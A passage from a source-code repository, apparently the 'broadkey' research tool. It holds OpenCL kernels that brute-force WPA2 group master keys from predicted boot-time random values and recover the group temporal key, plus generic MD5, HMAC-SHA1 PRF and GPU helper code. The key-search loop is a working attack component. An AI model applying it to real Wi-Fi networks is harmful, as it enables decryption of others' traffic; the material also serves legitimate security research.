Second rand128 call 66 | SET_TIME(W, temp1, temp2, GMK_SECS, GMK_USECS, boot_time_delta + i, RANDVAL2); 67 | md5_hash(gmk + 4, W); 68 | 69 | // Convert GMK to proper endian 70 | for (int i = 0; i < 8; ++i) 71 | gmk[i] = SWAP32(gmk[i]); 72 | 73 | // 74 | // Step 3. Derive GTK from GMK and constructed data (data = MAC address || GNONCE) 75 | // 76 | 77 | prf256_gtk(gmk, data, gtk); 78 | 79 | // Set the key and derive the AES-CTR keystream (input/output is Little Endian) 80 | AES_set_encrypt_key(gtk, &key); 81 | AES_encrypt(nonce, xorpad, &key); 82 | 83 | if (xorpad[0] == 0x%(KEYSTREAM1)08X && xorpad[1] == 0x%(KEYSTREAM2)08X) { 84 | COPY_GTK(dst, gtk); 85 | return; 86 | } 87 | } 88 | } 89 | 90 | -------------------------------------------------------------------------------- /broadkey/opencl/ieeeprf.cl: -------------------------------------------------------------------------------- 1 | /* 2 | * This software is Copyright (c) 2016 Mathy Vanhoef and it is hereby released 3 | * to the general public under the following terms: Redistribution and use in 4 | * source and binary forms, with or without modification, are permitted. 5 | * 6 | * This code was at one point based on wpapsk_kernel.cl of JTR-Jumbo. 7 | */ 8 | 9 | #include "opencl_device_info.h" 10 | #include "opencl_misc.h" 11 | #include "opencl_sha1.h" 12 | #include "util.cl" 13 | 14 | // Note that SHA-1 uses big endian 32-bit words, so we already put these words in big endian 15 | __constant uint lblGroupKeyExp[5] = { 0x47726F75, 0x70206B65, 0x79206578, 0x70616E73, 0x696F6E00 }; // Label "Group key expansion\0" 16 | __constant uint lblInitCounter[4] = { 0x496E6974, 0x20436F75, 0x6E746572, 0x00000000 }; // Label "Init Counter\0\0\0\0" 17 | 18 | 19 | /** 20 | * @param data 44-byte data in Little Endian 21 | * @param ret 32-byte hash in Big Endian 22 | * 23 | * HMAC uses the opad and ipad. 24 | * SHA-1 uses the '1' bit terminator after message, and includes message lengh (ml). 25 | */ 26 | inline void prf256_counter(uint __private *data, uint __private *ret) 27 | { 28 | uint ipad1[5] = {0xc9f7bd57, 0x621bd73b, 0xea0fead1, 0x41a5a132, 0x4e4f361d}, // Result of sha1_single(key XOR ipad) 29 | ipad2[5] = {0xc9f7bd57, 0x621bd73b, 0xea0fead1, 0x41a5a132, 0x4e4f361d}; 30 | uint opad1[5] = {0x978a24a4, 0x70daf4d3, 0x13e1be88, 0x387c2231, 0x7456516dL}, // Result of sha1_single(key XOR opad) 31 | opad2[5] = {0x978a24a4, 0x70daf4d3, 0x13e1be88, 0x387c2231, 0x7456516dL}; 32 | uint W1[16] = {0x496E6974, 0x20436F75, 0x6E746572, 0x00000000}; // Label "Init Counter\0\0\0\0"; 33 | uint W2[16]; 34 | uint A, B, C, D, E, temp; 35 | uint i; 36 | 37 | // 38 | // Step 1 -- Inner hash: h = H((K' XOR ipad) || m) 39 | // 40 | 41 | /* Precalculated ipad - key would be XORed with this but has no effect since it's all zeros */ 42 | 43 | /* Add first block of data to be HMAC'ed */ 44 | W1[3] = *data >> 8; // fill in remaining 3 bytes 45 | W1[4] = *data++ << 24; // fill in first 1 byte 46 | #pragma unroll 47 | for (i = 4; i < 14; i++) { 48 | W1[i] = (W1[i] & 0xff000000) | *data >> 8; // fill in remaining 3 bytes 49 | W1[i + 1] = *data++ << 24; // fill in first 1 byte 50 | } 51 | W1[14] |= 0x008000; // counter in PRF + SHA1 bit '1' to end message 52 | W1[15] = 0x0; // not enough space to put 64-bit message length (ml) 53 | 54 | COPY_BLOCK(W2, W1); 55 | W2[14] |= 0x010000; // increase counter in PRF data 56 | 57 | sha1_block(W1, ipad1); 58 | sha1_block(W2, ipad2); 59 | 60 | 61 | /* SHA1 padding and message length in bits: padding + message length (ipad + label + counter + data) */ 62 | SET_BLOCK(W1, 0); 63 | W1[15] = (64 + 13 + 1 + 44) << 3; 64 | 65 | COPY_BLOCK(W2, W1); 66 | sha1_block(W1, ipad1); // update(digest) + final 67 | sha1_block(W2, ipad2); // update(digest) + final 68 | 69 | 70 | // 71 | // Step 2 -- Outer hash: H((K' XOR opad) || h) 72 | // 73 | 74 | /* opad - key would be XORed with this but has no effect since it's all zeros */ 75 | 76 | /* take inner hash and update SHA1 digest with it */ 77 | COPY_PAD(W1, ipad1); 78 | W1[5] = 0x80000000; 79 | W1[15] = (64 + 20) << 3; 80 | sha1_block_160Z(W1, opad1); // update(digest) + final 81 | 82 | /* take inner hash and update SHA1 digest with it */ 83 | COPY_PAD(W2, ipad2); 84 | W2[5] = 0x80000000; 85 | W2[15] = (64 + 20) << 3; 86 | sha1_block_160Z(W2, opad2); // update(digest) + final 87 | 88 | 89 | // 90 | // Step 3 - Return PRF output 91 | // 92 | 93 | COPY_PAD(ret, opad1); 94 | ret[5] = opad2[0]; 95 | ret[6] = opad2[1]; 96 | ret[7] = opad2[2]; 97 | } 98 | 99 | 100 | /** 101 | * Note: The return GTK is in Big Endian. So to test 7D E2 F6 73 6B 43 64 41 .. 102 | * use 0x7de2f673 and 0x6b436441. 103 | * 104 | * @param gmk 32-byte group master key in Big Endian 105 | * @param data 36-byte data (AA || gnonce) in Big Endian 106 | * @param ret 32-byte hash 107 | * 108 | * HMAC uses the opad and ipad. 109 | * SHA-1 uses the '1' bit terminator after message, and includes message lengh (ml). 110 | */ 111 | inline void prf256_gtk(uint __private *gmk, uint __private *data, uint __private *ret) 112 | { 113 | uint W1[16], W2[16]; 114 | uint ipad1[5], ipad2[5]; 115 | uint opad1[5], opad2[5]; 116 | uint A, B, C, D, E, temp; 117 | uint i; 118 | 119 | // 120 | // Step 1 -- Inner hash: h = H((K' XOR ipad) || m) 121 | // 122 | 123 | /* Calculate ipad */ 124 | #pragma unroll 125 | for (i = 0; i < 8; i++) 126 | W1[i] = 0x36363636 ^ gmk[i]; 127 | #pragma unroll 128 | for (i = 8; i < 16; i++) 129 | W1[i] = 0x36363636; 130 | sha1_single(W1, ipad1); // update(ipad) 131 | COPY_PAD(ipad2, ipad1); 132 | 133 | /* Add first block of data to be HMAC'ed */ 134 | #pragma unroll 135 | for (i = 0; i < 5; i++) 136 | W1[i] = lblGroupKeyExp[i]; 137 | #pragma unroll 138 | for (i = 0; i < 9; i++) 139 | W1[5 + i] = data[i]; 140 | W1[14] = (data[9] & 0xFFFF0000) | 0x80; // last two bytes + counter in PRF + SHA1 bit '1' to end message + padding 141 | W1[15] = 0; 142 | 143 | COPY_BLOCK(W2, W1); 144 | W2[14] |= 0x0100; // increase counter in PRF data 145 | 146 | sha1_block(W1, ipad1); // update(data) 147 | sha1_block(W2, ipad2); // update(data) 148 | 149 | /* SHA1 padding and message length in bits: padding + message length (ipad + label + data + prf-counter) */ 150 | SET_BLOCK(W1, 0); 151 | W1[15] = (64 + 20 + 38 + 1) << 3; 152 | 153 | COPY_BLOCK(W2, W1); 154 | sha1_block(W1, ipad1); // update(digest) + final 155 | sha1_block(W2, ipad2); // update(digest) + final 156 | 157 | 158 | // 159 | // Step 2 -- Outer hash: H((K' XOR opad) || h) 160 | // 161 | 162 | /* opad - key would be XORed with this but has no effect since it's all zeros */ 163 | 164 | #pragma unroll 165 | for (i = 0; i < 8; i++) 166 | W1[i] = 0x5c5c5c5c ^ gmk[i]; 167 | #pragma unroll 168 | for (i = 8; i < 16; i++) 169 | W1[i] = 0x5c5c5c5c; 170 | sha1_single(W1, opad1); // update(opad) 171 | COPY_PAD(opad2, opad1); 172 | 173 | 174 | /* take inner hash and update SHA1 digest with it */ 175 | COPY_PAD(W1, ipad1); 176 | W1[5] = 0x80000000; 177 | W1[15] = (64 + 20) << 3; 178 | sha1_block_160Z(W1, opad1); // update(digest) + final 179 | 180 | /* take inner hash and update SHA1 digest with it */ 181 | COPY_PAD(W1, ipad2); 182 | W1[5] = 0x80000000; 183 | W1[15] = (64 + 20) << 3; 184 | sha1_block_160Z(W1, opad2); // update(digest) + final 185 | 186 | 187 | // 188 | // Step 3 - Return PRF output 189 | // 190 | 191 | COPY_PAD(ret, opad1); 192 | ret[5] = opad2[0]; 193 | ret[6] = opad2[1]; 194 | ret[7] = opad2[2]; 195 | } 196 | 197 | 198 | -------------------------------------------------------------------------------- /broadkey/opencl/md5_kernel.cl: -------------------------------------------------------------------------------- 1 | /* 2 | * MD5 OpenCL kernel based on Solar Designer's MD5 algorithm implementation at: 3 | * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5 4 | * 5 | * This software is Copyright (c) 2010, Dhiru Kholia 6 | * and Copyright (c) 2012, magnum 7 | * and Copyright (c) 2015, Sayantan Datta 8 | * and it is hereby released to the general public under the following terms: 9 | * Redistribution and use in source and binary forms, with or without modification, 10 | * are permitted. 11 | * 12 | * Useful References: 13 | * 1. CUDA MD5 Hashing Experiments, http://majuric.org/software/cudamd5/ 14 | * 2. oclcrack, http://sghctoma.extra.hu/index.php?p=entry&id=11 15 | * 3. http://people.eku.edu/styere/Encrypt/JS-MD5.html 16 | * 4. http://en.wikipedia.org/wiki/MD5#Algorithm 17 | */ 18 | 19 | #define AMD_PUTCHAR_NOCAST 20 | #include "opencl_misc.h" 21 | 22 | 23 | /* The basic MD5 functions */ 24 | #ifdef USE_BITSELECT 25 | #define F(x, y, z) bitselect((z), (y), (x)) 26 | #define G(x, y, z) bitselect((y), (x), (z)) 27 | #else 28 | #if HAVE_ANDNOT 29 | #define F(x, y, z) ((x & y) ^ ((~x) & z)) 30 | #else 31 | #define F(x, y, z) (z ^ (x & (y ^ z))) 32 | #endif 33 | #define G(x, y, z) ((y) ^ ((z) & ((x) ^ (y)))) 34 | #endif 35 | #define H(x, y, z) (((x) ^ (y)) ^ (z)) 36 | #define H2(x, y, z) ((x) ^ ((y) ^ (z))) 37 | #define I(x, y, z) ((y) ^ ((x) | ~(z))) 38 | 39 | /* The MD5 transformation for all four rounds. */ 40 | #define STEP(f, a, b, c, d, x, t, s) \ 41 | (a) += f((b), (c), (d)) + (x) + (t); \ 42 | (a) = rotate((a), (uint)(s)); \ 43 | (a) += (b) 44 | 45 | inline void md5_hash(__private uint *hash, __private uint *W) 46 | { 47 | /* Hash values A, B, C, D */ 48 | hash[0] = 0x67452301; 49 | hash[1] = 0xefcdab89; 50 | hash[2] = 0x98badcfe; 51 | hash[3] = 0x10325476; 52 | 53 | /* Round 1 */ 54 | STEP(F, hash[0], hash[1], hash[2], hash[3], W[0], 0xd76aa478, 7); 55 | STEP(F, hash[3], hash[0], hash[1], hash[2], W[1], 0xe8c7b756, 12); 56 | STEP(F, hash[2], hash[3], hash[0], hash[1], W[2], 0x242070db, 17); 57 | STEP(F, hash[1], hash[2], hash[3], hash[0], W[3], 0xc1bdceee, 22); 58 | STEP(F, hash[0], hash[1], hash[2], hash[3], W[4], 0xf57c0faf, 7); 59 | STEP(F, hash[3], hash[0], hash[1], hash[2], W[5], 0x4787c62a, 12); 60 | STEP(F, hash[2], hash[3], hash[0], hash[1], W[6], 0xa8304613, 17); 61 | STEP(F, hash[1], hash[2], hash[3], hash[0], W[7], 0xfd469501, 22); 62 | STEP(F, hash[0], hash[1], hash[2], hash[3], W[8], 0x698098d8, 7); 63 | STEP(F, hash[3], hash[0], hash[1], hash[2], W[9], 0x8b44f7af, 12); 64 | STEP(F, hash[2], hash[3], hash[0], hash[1], W[10], 0xffff5bb1, 17); 65 | STEP(F, hash[1], hash[2], hash[3], hash[0], W[11], 0x895cd7be, 22); 66 | STEP(F, hash[0], hash[1], hash[2], hash[3], W[12], 0x6b901122, 7); 67 | STEP(F, hash[3], hash[0], hash[1], hash[2], W[13], 0xfd987193, 12); 68 | STEP(F, hash[2], hash[3], hash[0], hash[1], W[14], 0xa679438e, 17); 69 | STEP(F, hash[1], hash[2], hash[3], hash[0], W[15], 0x49b40821, 22); 70 | 71 | /* Round 2 */ 72 | STEP(G, hash[0], hash[1], hash[2], hash[3], W[1], 0xf61e2562, 5); 73 | STEP(G, hash[3], hash[0], hash[1], hash[2], W[6], 0xc040b340, 9); 74 | STEP(G, hash[2], hash[3], hash[0], hash[1], W[11], 0x265e5a51, 14); 75 | STEP(G, hash[1], hash[2], hash[3], hash[0], W[0], 0xe9b6c7aa, 20); 76 | STEP(G, hash[0], hash[1], hash[2], hash[3], W[5], 0xd62f105d, 5); 77 | STEP(G, hash[3], hash[0], hash[1], hash[2], W[10], 0x02441453, 9); 78 | STEP(G, hash[2], hash[3], hash[0], hash[1], W[15], 0xd8a1e681, 14); 79 | STEP(G, hash[1], hash[2], hash[3], hash[0], W[4], 0xe7d3fbc8, 20); 80 | STEP(G, hash[0], hash[1], hash[2], hash[3], W[9], 0x21e1cde6, 5); 81 | STEP(G, hash[3], hash[0], hash[1], hash[2], W[14], 0xc33707d6, 9); 82 | STEP(G, hash[2], hash[3], hash[0], hash[1], W[3], 0xf4d50d87, 14); 83 | STEP(G, hash[1], hash[2], hash[3], hash[0], W[8], 0x455a14ed, 20); 84 | STEP(G, hash[0], hash[1], hash[2], hash[3], W[13], 0xa9e3e905, 5); 85 | STEP(G, hash[3], hash[0], hash[1], hash[2], W[2], 0xfcefa3f8, 9); 86 | STEP(G, hash[2], hash[3], hash[0], hash[1], W[7], 0x676f02d9, 14); 87 | STEP(G, hash[1], hash[2], hash[3], hash[0], W[12], 0x8d2a4c8a, 20); 88 | 89 | /* Round 3 */ 90 | STEP(H, hash[0], hash[1], hash[2], hash[3], W[5], 0xfffa3942, 4); 91 | STEP(H2, hash[3], hash[0], hash[1], hash[2], W[8], 0x8771f681, 11); 92 | STEP(H, hash[2], hash[3], hash[0], hash[1], W[11], 0x6d9d6122, 16); 93 | STEP(H2, hash[1], hash[2], hash[3], hash[0], W[14], 0xfde5380c, 23); 94 | STEP(H, hash[0], hash[1], hash[2], hash[3], W[1], 0xa4beea44, 4); 95 | STEP(H2, hash[3], hash[0], hash[1], hash[2], W[4], 0x4bdecfa9, 11); 96 | STEP(H, hash[2], hash[3], hash[0], hash[1], W[7], 0xf6bb4b60, 16); 97 | STEP(H2, hash[1], hash[2], hash[3], hash[0], W[10], 0xbebfbc70, 23); 98 | STEP(H, hash[0], hash[1], hash[2], hash[3], W[13], 0x289b7ec6, 4); 99 | STEP(H2, hash[3], hash[0], hash[1], hash[2], W[0], 0xeaa127fa, 11); 100 | STEP(H, hash[2], hash[3], hash[0], hash[1], W[3], 0xd4ef3085, 16); 101 | STEP(H2, hash[1], hash[2], hash[3], hash[0], W[6], 0x04881d05, 23); 102 | STEP(H, hash[0], hash[1], hash[2], hash[3], W[9], 0xd9d4d039, 4); 103 | STEP(H2, hash[3], hash[0], hash[1], hash[2], W[12], 0xe6db99e5, 11); 104 | STEP(H, hash[2], hash[3], hash[0], hash[1], W[15], 0x1fa27cf8, 16); 105 | STEP(H2, hash[1], hash[2], hash[3], hash[0], W[2], 0xc4ac5665, 23); 106 | 107 | /* Round 4 */ 108 | STEP(I, hash[0], hash[1], hash[2], hash[3], W[0], 0xf4292244, 6); 109 | STEP(I, hash[3], hash[0], hash[1], hash[2], W[7], 0x432aff97, 10); 110 | STEP(I, hash[2], hash[3], hash[0], hash[1], W[14], 0xab9423a7, 15); 111 | STEP(I, hash[1], hash[2], hash[3], hash[0], W[5], 0xfc93a039, 21); 112 | STEP(I, hash[0], hash[1], hash[2], hash[3], W[12], 0x655b59c3, 6); 113 | STEP(I, hash[3], hash[0], hash[1], hash[2], W[3], 0x8f0ccc92, 10); 114 | STEP(I, hash[2], hash[3], hash[0], hash[1], W[10], 0xffeff47d, 15); 115 | STEP(I, hash[1], hash[2], hash[3], hash[0], W[1], 0x85845dd1, 21); 116 | STEP(I, hash[0], hash[1], hash[2], hash[3], W[8], 0x6fa87e4f, 6); 117 | STEP(I, hash[3], hash[0], hash[1], hash[2], W[15], 0xfe2ce6e0, 10); 118 | STEP(I, hash[2], hash[3], hash[0], hash[1], W[6], 0xa3014314, 15); 119 | STEP(I, hash[1], hash[2], hash[3], hash[0], W[13], 0x4e0811a1, 21); 120 | STEP(I, hash[0], hash[1], hash[2], hash[3], W[4], 0xf7537e82, 6); 121 | STEP(I, hash[3], hash[0], hash[1], hash[2], W[11], 0xbd3af235, 10); 122 | STEP(I, hash[2], hash[3], hash[0], hash[1], W[2], 0x2ad7d2bb, 15); 123 | STEP(I, hash[1], hash[2], hash[3], hash[0], W[9], 0xeb86d391, 21); 124 | 125 | hash[0] += 0x67452301; 126 | hash[1] += 0xefcdab89; 127 | hash[2] += 0x98badcfe; 128 | hash[3] += 0x10325476; 129 | } 130 | 131 | 132 | -------------------------------------------------------------------------------- /broadkey/opencl/opencl_device_info.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Developed by Claudio André in 2012 3 | * 4 | * Copyright (c) 2012-2015 Claudio André 5 | * This program comes with ABSOLUTELY NO WARRANTY; express or implied. 6 | * 7 | * This is free software, and you are welcome to redistribute it 8 | * under certain conditions; as expressed here 9 | * http://www.gnu.org/licenses/gpl-2.0.html 10 | */ 11 | 12 | #ifndef OPENCL_DEVICE_INFO_H 13 | #define OPENCL_DEVICE_INFO_H 14 | 15 | //Copied from common-opencl.h 16 | #define DEV_UNKNOWN 0 //0 17 | #define DEV_CPU (1 << 0) //1 18 | #define DEV_GPU (1 << 1) //2 19 | #define DEV_ACCELERATOR (1 << 2) //4 20 | #define DEV_AMD (1 << 3) //8 21 | #define DEV_NVIDIA (1 << 4) //16 22 | #define DEV_INTEL (1 << 5) //32 23 | #define PLATFORM_APPLE (1 << 6) //64 24 | #define DEV_AMD_GCN_10 (1 << 7) //128 25 | #define DEV_AMD_GCN_11 (1 << 8) //256 26 | #define DEV_AMD_GCN_12 (1 << 9) //512 27 | #define DEV_AMD_VLIW4 (1 << 12) //4096 28 | #define DEV_AMD_VLIW5 (1 << 13) //8192 29 | #define DEV_NV_C2X (1 << 14) //16384 30 | #define DEV_NV_C30 (1 << 15) //32768 31 | #define DEV_NV_C32 (1 << 16) //65536 32 | #define DEV_NV_C35 (1 << 17) //131072 33 | #define DEV_NV_C5X (1 << 18) //262144 34 | #define DEV_USE_LOCAL (1 << 20) //1048576 35 | #define DEV_NO_BYTE_ADDRESSABLE (1 << 21) //2097152 36 | #define DEV_MESA (1 << 22) //4M 37 | 38 | #define cpu(n) ((n & DEV_CPU) == (DEV_CPU)) 39 | #define gpu(n) ((n & DEV_GPU) == (DEV_GPU)) 40 | #define gpu_amd(n) ((n & DEV_AMD) && gpu(n)) 41 | #define gpu_nvidia(n) ((n & DEV_NVIDIA) && gpu(n)) 42 | #define gpu_intel(n) ((n & DEV_INTEL) && gpu(n)) 43 | #define cpu_amd(n) ((n & DEV_AMD) && cpu(n)) 44 | #define cpu_intel(n) ((n & DEV_INTEL) && cpu(n)) 45 | #define amd_gcn_10(n) ((n & DEV_AMD_GCN_10) && gpu_amd(n)) 46 | #define amd_gcn_11(n) ((n & DEV_AMD_GCN_11) && gpu_amd(n)) 47 | #define amd_gcn_12(n) ((n & DEV_AMD_GCN_12) && gpu_amd(n)) 48 | #define amd_gcn(n) (amd_gcn_10(n) || (amd_gcn_11(n)) || amd_gcn_12(n)) 49 | #define amd_vliw4(n) ((n & DEV_AMD_VLIW4) && gpu_amd(n)) 50 | #define amd_vliw5(n) ((n & DEV_AMD_VLIW5) && gpu_amd(n)) 51 | #define nvidia_sm_2x(n) ((n & DEV_NV_C2X) && gpu_nvidia(n)) 52 | #define nvidia_sm_3x(n) (((n & DEV_NV_C30) || (n & DEV_NV_C32) || (n & DEV_NV_C35)) && gpu_nvidia(n)) 53 | #define nvidia_sm_5x(n) ((n & DEV_NV_C5X) && gpu_nvidia(n)) 54 | #define no_byte_addressable(n) ((n & DEV_NO_BYTE_ADDRESSABLE)) 55 | #define use_local(n) ((n & DEV_USE_LOCAL)) 56 | #define platform_apple(p) (get_platform_vendor_id(p) == PLATFORM_APPLE) 57 | 58 | #endif /* OPENCL_DEVICE_INFO_H */ 59 | -------------------------------------------------------------------------------- /broadkey/opencl/opencl_misc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenCL common macros 3 | * 4 | * Copyright (c) 2014-2015, magnum 5 | * This software is hereby released to the general public under 6 | * the following terms: Redistribution and use in source and binary 7 | * forms, with or without modification, are permitted. 8 | * 9 | * NOTICE: After changes in headers, with nvidia driver you probably 10 | * need to drop cached kernels to ensure the changes take effect: 11 | * 12 | * rm -fr ~/.nv/ComputeCache 13 | * 14 | */ 15 | 16 | #ifndef _OPENCL_MISC_H 17 | #define _OPENCL_MISC_H 18 | 19 | #include "opencl_device_info.h" 20 | 21 | /* Note: long is *always* 64-bit in OpenCL */ 22 | typedef uchar uint8_t; 23 | typedef char int8_t; 24 | typedef ushort uint16_t; 25 | typedef short int16_t; 26 | typedef uint uint32_t; 27 | typedef int int32_t; 28 | typedef ulong uint64_t; 29 | typedef long int64_t; 30 | 31 | #if SIZEOF_SIZE_T == 8 32 | typedef uint64_t host_size_t; 33 | #else 34 | typedef uint32_t host_size_t; 35 | #endif 36 | 37 | /* 38 | * "Copy" of the one in dyna_salt.h (we only need it to be right size, 39 | * bitfields are not allowed in OpenCL) 40 | */ 41 | typedef struct dyna_salt_t { 42 | host_size_t salt_cmp_size; 43 | host_size_t bitfield_and_offset; 44 | } dyna_salt; 45 | 46 | #ifndef MIN 47 | #define MIN(a,b) ((a)<(b)?(a):(b)) 48 | #endif 49 | #ifndef MAX 50 | #define MAX(a,b) ((a)>(b)?(a):(b)) 51 | #endif 52 | 53 | /* 54 | * I wish they'd make typeof() an OpenCL requirement. The only devices I've 55 | * seen not supporting it is recent Intel. We do use typeof() in a few places 56 | * where a function (macro) can be vectorized or not, but avoid it for Intel. 57 | */ 58 | #define typeof __typeof__ 59 | 60 | /* 61 | * Host code may pass -DV_WIDTH=2 or some other width. 62 | */ 63 | #if V_WIDTH > 1 64 | #define MAYBE_VECTOR_UINT VECTOR(uint, V_WIDTH) 65 | #define MAYBE_VECTOR_ULONG VECTOR(ulong, V_WIDTH) 66 | #else 67 | #define MAYBE_VECTOR_UINT uint 68 | #define MAYBE_VECTOR_ULONG ulong 69 | #define SCALAR 1 70 | #endif 71 | 72 | #if SCALAR && 0 /* Used for testing */ 73 | #define HAVE_LUT3 1 74 | inline uint lut3(uint x, uint y, uint z, uchar m) 75 | { 76 | uint i; 77 | uint r = 0; 78 | for(i = 0; i < sizeof(uint) * 8; i++) 79 | r |= (uint)((m >> ( (((x >> i) & 1) << 2) | 80 | (((y >> i) & 1) << 1) | 81 | ((z >> i) & 1) )) & 1) << i; 82 | return r; 83 | } 84 | #endif 85 | 86 | #if !gpu_nvidia(DEVICE_INFO) || SM_MAJOR >= 5 87 | #define USE_BITSELECT 1 88 | #endif 89 | 90 | #if SM_MAJOR == 1 91 | #define OLD_NVIDIA 1 92 | #endif 93 | 94 | #if cpu(DEVICE_INFO) 95 | #define HAVE_ANDNOT 1 96 | #endif 97 | 98 | #if SCALAR && SM_MAJOR >= 5 && (DEV_VER_MAJOR > 352 || (DEV_VER_MAJOR == 352 && DEV_VER_MINOR >= 21)) 99 | #define HAVE_LUT3 1 100 | inline uint lut3(uint a, uint b, uint c, uint imm) 101 | { 102 | uint r; 103 | asm("lop3.b32 %0, %1, %2, %3, %4;" 104 | : "=r" (r) 105 | : "r" (a), "r" (b), "r" (c), "i" (imm)); 106 | return r; 107 | } 108 | 109 | #if 0 /* This does no good */ 110 | #define HAVE_LUT3_64 1 111 | inline ulong lut3_64(ulong a, ulong b, ulong c, uint imm) 112 | { 113 | ulong t, r; 114 | 115 | asm("lop3.b32 %0, %1, %2, %3, %4;" 116 | : "=r" (t) 117 | : "r" ((uint)a), "r" ((uint)b), "r" ((uint)c), "i" (imm)); 118 | r = t; 119 | asm("lop3.b32 %0, %1, %2, %3, %4;" 120 | : "=r" (t) 121 | : "r" ((uint)(a >> 32)), "r" ((uint)(b >> 32)), "r" ((uint)(c >> 32)), "i" (imm)); 122 | return r + (t << 32); 123 | } 124 | #endif 125 | #endif 126 | 127 | #if gpu_amd(DEVICE_INFO) 128 | #pragma OPENCL EXTENSION cl_amd_media_ops : enable 129 | #define BITALIGN(hi, lo, s) amd_bitalign((hi), (lo), (s)) 130 | #else 131 | #if SCALAR && SM_MAJOR > 3 || (SM_MAJOR == 3 && SM_MINOR >= 2) 132 | inline uint funnel_shift_right(uint hi, uint lo, uint s) 133 | { 134 | uint r; 135 | asm("shf.r.wrap.b32 %0, %1, %2, %3;" 136 | : "=r" (r) 137 | : "r" (lo), "r" (hi), "r" (s)); 138 | return r; 139 | } 140 | 141 | inline uint funnel_shift_right_imm(uint hi, uint lo, uint s) 142 | { 143 | uint r; 144 | asm("shf.r.wrap.b32 %0, %1, %2, %3;" 145 | : "=r" (r) 146 | : "r" (lo), "r" (hi), "i" (s)); 147 | return r; 148 | } 149 | #define BITALIGN(hi, lo, s) funnel_shift_right(hi, lo, s) 150 | #define BITALIGN_IMM(hi, lo, s) funnel_shift_right_imm(hi, lo, s) 151 | #else 152 | #define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s))) 153 | #endif 154 | #endif 155 | 156 | #ifndef BITALIGN_IMM 157 | #define BITALIGN_IMM(hi, lo, s) BITALIGN(hi, lo, s) 158 | #endif 159 | 160 | #define CONCAT(TYPE,WIDTH) TYPE ## WIDTH 161 | #define VECTOR(x, y) CONCAT(x, y) 162 | 163 | /* Workaround for problem seen with 9600GT */ 164 | #if OLD_NVIDIA || __OS_X__ 165 | #define MAYBE_CONSTANT __global const 166 | #else 167 | #define MAYBE_CONSTANT __constant 168 | #endif 169 | 170 | #if USE_BITSELECT 171 | inline uint SWAP32(uint x) 172 | { 173 | return bitselect(rotate(x, 24U), rotate(x, 8U), 0x00FF00FFU); 174 | } 175 | 176 | #define SWAP64(n) bitselect( \ 177 | bitselect(rotate(n, 24UL), \ 178 | rotate(n, 8UL), 0x000000FF000000FFUL), \ 179 | bitselect(rotate(n, 56UL), \ 180 | rotate(n, 40UL), 0x00FF000000FF0000UL), \ 181 | 0xFFFF0000FFFF0000UL) 182 | #else 183 | inline uint SWAP32(uint x) 184 | { 185 | x = rotate(x, 16U); 186 | return ((x & 0x00FF00FF) << 8) + ((x >> 8) & 0x00FF00FF); 187 | } 188 | 189 | // You would not believe how many driver bugs variants of this macro reveal 190 | #define SWAP64(n) \ 191 | (((n) << 56) | (((n) & 0xff00) << 40) | \ 192 | (((n) & 0xff0000) << 24) | (((n) & 0xff000000) << 8) | \ 193 | (((n) >> 8) & 0xff000000) | (((n) >> 24) & 0xff0000) | \ 194 | (((n) >> 40) & 0xff00) | ((n) >> 56)) 195 | #endif 196 | 197 | #if SCALAR 198 | #define VSWAP32 SWAP32 199 | #else 200 | /* Vector-capable swap32() */ 201 | inline MAYBE_VECTOR_UINT VSWAP32(MAYBE_VECTOR_UINT x) 202 | { 203 | x = rotate(x, 16U); 204 | return ((x & 0x00FF00FF) << 8) + ((x >> 8) & 0x00FF00FF); 205 | } 206 | #endif 207 | 208 | #if gpu_nvidia(DEVICE_INFO) 209 | // Faster on nvidia, no difference on AMD 210 | #if __ENDIAN_LITTLE__ 211 | #define GET_UINT32BE(n, b, i) (n) = SWAP32(((uint*)(b))[(i) >> 2]) 212 | #define PUT_UINT32BE(n, b, i) ((uint*)(b))[(i) >> 2] = SWAP32(n) 213 | #else 214 | #define GET_UINT32BE(n, b, i) (n) = ((uint*)(b))[(i) >> 2] 215 | #define PUT_UINT32BE(n, b, i) ((uint*)(b))[(i) >> 2] = (n) 216 | #endif 217 | 218 | #else /* Safe code for any arch */ 219 | 220 | #define GET_UINT32BE(n, b, i) \ 221 | { \ 222 | (n) = ((uint) (b)[(i)] << 24) \ 223 | | ((uint) (b)[(i) + 1] << 16) \ 224 | | ((uint) (b)[(i) + 2] << 8) \ 225 | | ((uint) (b)[(i) + 3] ); \ 226 | } 227 | 228 | #define PUT_UINT32BE(n, b, i) \ 229 | { \ 230 | (b)[(i) ] = (uchar) ((n) >> 24); \ 231 | (b)[(i) + 1] = (uchar) ((n) >> 16); \ 232 | (b)[(i) + 2] = (uchar) ((n) >> 8); \ 233 | (b)[(i) + 3] = (uchar) ((n) ); \ 234 | } 235 | #endif 236 | 237 | /* Any device can do 8-bit reads BUT these macros are scalar only! */ 238 | #define GETCHAR(buf, index) (((uchar*)(buf))[(index)]) 239 | #define GETCHAR_G(buf, index) (((__global uchar*)(buf))[(index)]) 240 | #define GETCHAR_L(buf, index) (((__local uchar*)(buf))[(index)]) 241 | #define GETCHAR_BE(buf, index) (((uchar*)(buf))[(index) ^ 3]) 242 | #define GETCHAR_MC(buf, index) (((MAYBE_CONSTANT uchar*)(buf))[(index)]) 243 | #define LASTCHAR_BE(buf, index, val) (buf)[(index)>>2] = ((buf)[(index)>>2] & (0xffffff00U << ((((index) & 3) ^ 3) << 3))) + ((val) << ((((index) & 3) ^ 3) << 3)) 244 | 245 | #if no_byte_addressable(DEVICE_INFO) || !SCALAR || (gpu_amd(DEVICE_INFO) && defined(AMD_PUTCHAR_NOCAST)) 246 | /* 32-bit stores */ 247 | #define PUTCHAR(buf, index, val) (buf)[(index)>>2] = ((buf)[(index)>>2] & ~(0xffU << (((index) & 3) << 3))) + ((val) << (((index) & 3) << 3)) 248 | #define PUTCHAR_G PUTCHAR 249 | #define PUTCHAR_L PUTCHAR 250 | #define PUTCHAR_BE(buf, index, val) (buf)[(index)>>2] = ((buf)[(index)>>2] & ~(0xffU << ((((index) & 3) ^ 3) << 3))) + ((val) << ((((index) & 3) ^ 3) << 3)) 251 | #define PUTCHAR_BE_G PUTCHAR_BE 252 | #define PUTSHORT(buf, index, val) (buf)[(index)>>1] = ((buf)[(index)>>1] & ~(0xffffU << (((index) & 1) << 4))) + ((val) << (((index) & 1) << 4)) 253 | #define PUTSHORT_BE(buf, index, val) 